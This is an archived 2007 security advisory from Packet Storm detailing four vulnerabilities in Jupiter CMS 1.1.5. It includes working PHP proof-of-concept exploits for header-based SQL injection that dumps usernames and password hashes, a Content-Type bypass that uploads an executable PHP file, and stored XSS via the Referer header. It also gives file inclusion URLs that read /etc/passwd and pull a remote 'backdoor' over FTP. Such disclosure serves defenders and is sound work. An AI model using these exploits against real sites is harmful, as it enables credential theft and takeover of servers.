the internet's safety

12070214.txt

12070214.txt
Posted Feb 14, 2007
Authored by DarkFig | Site acid-root.new.fr

Jupiter CMS version 1.1.5 suffers from multiple vulnerabilities including SQL injection, cross site scripting, local and remote file inclusion, and more. I think it should be a do-over.

tags | exploit, remote, local, vulnerability, xss, sql injection, file inclusion
MD5 | e99bcc28b629a60c407dba283724c814

12070214.txt

Change Mirror Download
       Title:    Jupiter CMS 1.1.5 Multiple Vulnerabilities
Advisory ID: 12070214
Risk level: High
Author: DarkFig <gmdarkfig@gmail.com>
URL: http://www.acid-root.new.fr/advisories/12070214.txt



.: [ OVERVIEW ]

Jupiter CMS 1.1.5 is a powerful user-friendly Community Management System.
Advanced boxes/block system, members management, high-end forums, topics,
statistics, emoticons/logs management. A new version is actually in coding,
however the latest stable version is 1.1.5.

I decided to download it because a friend tell me that he was going to use
it for his website and he asked me if I could audit it. The first thing I
realised is that they directly used the $_SERVER array (without protection
against SQL Injection attacks) in several SQL request. The second vulnerability
i found, is that the script do not check for file extensions when a user upload
an emoticon, and the access protection of the "modules" directory files can be
bypassed. There is also a remote/local file inclusion with the "n" parameter,
and a permanent XSS.



.: [ VULN #1 ]

Risk level: Medium
Summary: find_ip() SQL Injection
Conditions: None

The script "includes/functions.php" contains the following functions:

function find_ip() {
if (getenv('HTTP_CLIENT_IP')) $ip = getenv('HTTP_CLIENT_IP');
elseif (getenv('HTTP_X_FORWARDED_FOR')) $ip = getenv('HTTP_X_FORWARDED_FOR');
elseif (getenv('HTTP_X_FORWARDED')) $ip = getenv('HTTP_X_FORWARDED');
elseif (getenv('HTTP_FORWARDED_FOR')) $ip = getenv('HTTP_FORWARDED_FOR');
elseif (getenv('HTTP_FORWARDED')) $ip = getenv('HTTP_FORWARDED');
else $ip = $_SERVER['REMOTE_ADDR'];
return $ip;
}

This function is called from others PHP scripts in order to determine the IP
of the client. But the majority of headers can be modified by the user. For the
most part of the time, this function is used in SQL requests. For example, the
script "index.php" contains the following SQL request:

$ban_ip_check = $db->getLine("SELECT ip, date FROM bans WHERE ip = '".find_ip()."'");
if($ban_ip_check != FALSE) {
?>
<link href="templates/<?= $template ?>/extra/jupiter.css" rel="stylesheet" type="tex
<div id="attentionwrapper">
<table class="main" height="1%" cellspacing="1" cellpadding="4"><col width="1%"><col
<tr height="1%" class="head"><td class="head" colspan="2"><?= $language['Bans name']
<tr height="1%"><td class="con1" rowspan="5" valign="top"><img src="templates/<?= $t
<tr height="1%" class="bottom"><td valign="top"><?= $language['Bans title'] ?></td><
<tr height="1%"><td class="con1"><?= $language['Bans desc'] ?> <?= $ban_ip_check['ip
<tr height="1%" class="bottom"><td valign="top"><?= $language['Bans title2'] ?></td>
</table>
</div>
<? exit;
}

magic_quotes_gpc is not applied to $_SERVER array, so this can lead to SQL
Injection attack even if magic_quotes_gpc = On. One result of the SQL request
is returned to the user, so this is a simple SQL Injection (not a blind). This
simple poc illustrate how an attacker can exploit this vulnerability:

# SQL Injection Vulnerability (POC #1)
#
require("phpsploitclass.php"); # See [1]
error_reporting(E_ALL ^ E_NOTICE);
$url = 'http://localhost/jupiter/';

$xpl = new phpsploit();
$xpl->agent("Mozilla");
$hev = "-1' UNION SELECT CONCAT('"
."[BEGIN_XPL_USER]',"
."(SELECT username FROM users LIMIT 0,1),'"
."[END_XPL_USER]','"
."[BEGIN_XPL_PWD]',"
."(SELECT password FROM users LIMIT 0,1),'"
."[END_XPL_PWD]'),1 #";

$xpl->addheader("Client-IP",$hev);
$xpl->get($url);
preg_match("#\[BEGIN_XPL_USER\](.*)\[END_XPL_USER\]#",$xpl->getcontent(),$usr);
preg_match("#\[BEGIN_XPL_PWD\]([a-z0-9]{32})\[END_XPL_PWD\]#",$xpl->getcontent(),$pwd);
print $usr[1].'::'.$pwd[1];
#
# EOF POC #1



.: [ VULN #2 ]

Risk level: High
Summary: File Upload Vulnerability
Conditions: register_globals = On

All scripts situated in the "modules" directory can be executed by a guest,
for example let's see "modules/emoticons.php" access protection :

if(isset($is_guest) || isset($is_user))
{ header("location: $PHP_SELF?i=2"); exit; }

An attacker can access to this script, simply by sending a GET request
which contains the "is_guest" and "is_user" variables. For the most part of
the time, this is not critical because the script use several functions
stored in other files (not include), this return a Fatal Error. But if the
"a" parameter is set to 1 the script "modules/emoticons.php" let us upload
a file, before producing a Fatal Error. Let's see the upload protection:

$allowed_types = array('image/gif', 'image/jpeg', 'image/pjpeg', 'image/png', 'image/x-png');
if(!in_array($uploaded_file['type'],$allowed_types)){
header("location: $PHP_SELF?n=modules/emoticons&i=30");exit;
}

So what we have to do to bypass this protection, is just to modify the
"Content-Type" header. This poc illustrate how an attacker can upload a
malicious php file:

# File Upload Vulnerability (POC #2)
#
require("phpsploitclass.php");
error_reporting(E_ALL ^ E_NOTICE);
$url = 'http://localhost/jupiter/';

$xpl = new phpsploit();
$xpl->agent("Mozilla");
$arr = array(frmdt_url => $url,
"is_guest" => 1,
"is_user" => 1,
"a" => 1,
"req_file" => array(frmdt_filename => "iamaphpfile.php",
frmdt_type => "image/jpeg",
frmdt_content => "<?php echo(iamontheserver); ?>"));
$xpl->formdata($arr);
$xpl->get($url.'images/emoticons/iamaphpfile.php');
print($xpl->getcontent());
#
# EOF POC #2



.: [ VULN #3 ]

Risk level: Low
Summary: "Logged Guests" XSS
Conditions: None

The script "index.php" insert (in the database) some informations sent by
the web browser.

if(!isset($_SESSION['in_site']))
{
$db->insertRow("online",array('sid' => ''.$session_id.'',
'type' => 'live','status' => 'guest','user' => NULL,'user_id' => NULL,
'user_authorization' => NULL,'user_email' => NULL,'user_hideemail' => NULL,
'user_flag' => NULL,'user_location' => NULL,'ip' => ''.find_ip().'',
'refer' => ''.$_SERVER['HTTP_REFERER'].'','browser' => ''.find_browser($_SERVER['HTTP_USER_AGENT']).'',
'lang' => ''.$lang.'','date' => ''.time().''));

$db->insertRow("online",array('sid' => ''.$session_id.'','type' => 'log',
'status' => 'guest','user' => NULL,'user_id' => NULL,'user_authorization' => NULL,
'user_email' => NULL,'user_hideemail' => NULL,'user_flag' => NULL,'user_location' => NULL,
'ip' => ''.find_ip().'','refer' => ''.$_SERVER['HTTP_REFERER'].'',
'browser' => ''.find_browser($_SERVER['HTTP_USER_AGENT']).'','lang' => ''.$lang.'',
'date' => ''.time().''));

$_SESSION['in_site'] = 1;
}

All data inserted in the database are protected against SQL Injection attacks,
however they're not protected against XSS. This is a permanent XSS, the malicious
code will be executed when the admin will click on "Logged Guest". Proof of concept:

# "Logged Guest" XSS Vulnerability (POC #3)
#
require("phpsploitclass.php");
error_reporting(E_ALL ^ E_NOTICE);
$url = 'http://localhost/jupiter/';

$xpl = new phpsploit();
$xpl->agent("Mozilla");
$xpl->addheader("Referer", "<script>alert('XSS VULN')</script>");
$xpl->get($url);
#
# EOF POC #3



.: [ VULN #4 ]

Risk level: High
Summary: Local/Remote File Inclusion
Conditions: LFI: magic_quotes_gpc = Off
RFI: PHP >= 5.0.0, allow_url_fopen = On

The script "index.php" contains the following code:

if(isset($n))
{
if(file_exists("$n.php"))
{
if(strpos($n, "../") !== false) header("location: $PHP_SELF?i=error");
else include("$n.php");
}
elseif(!file_exists("$n.php")) header("location: $PHP_SELF?i=error");
}

The "n" parameter isn't properly filtered, this can lead to file inclusion.
Local file inclusion will work if magic_quotes_gpc=Off, the null byte char \x00
is required. Remote file inclusion will work if the server is running on PHP >= 5.
In this version, the file_exists() function can be used with some URL wrappers,
you can use ftp:// for example. Simple poc:

LFI: http://<host><path>/index.php?n=/etc/passwd%00
RFI: http://<host><path>/index.php?n=ftp://user:password@example.com/backdoor



.: [ LINKS ]

[1] PhpSploit Class
http://www.acid-root.new.fr/tools/03061230.txt

[2] FTP/FTPS with PHP
http://www.php.net/manual/en/wrappers.ftp.php

[3] Good paper about File Upload Vulnerability
http://shsc.info/FileUploadSecurity

[4] X-Forwarded-For
http://en.wikipedia.org/wiki/X-Forwarded-For

[5] AcidRoot
http://www.acid-root.new.fr

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close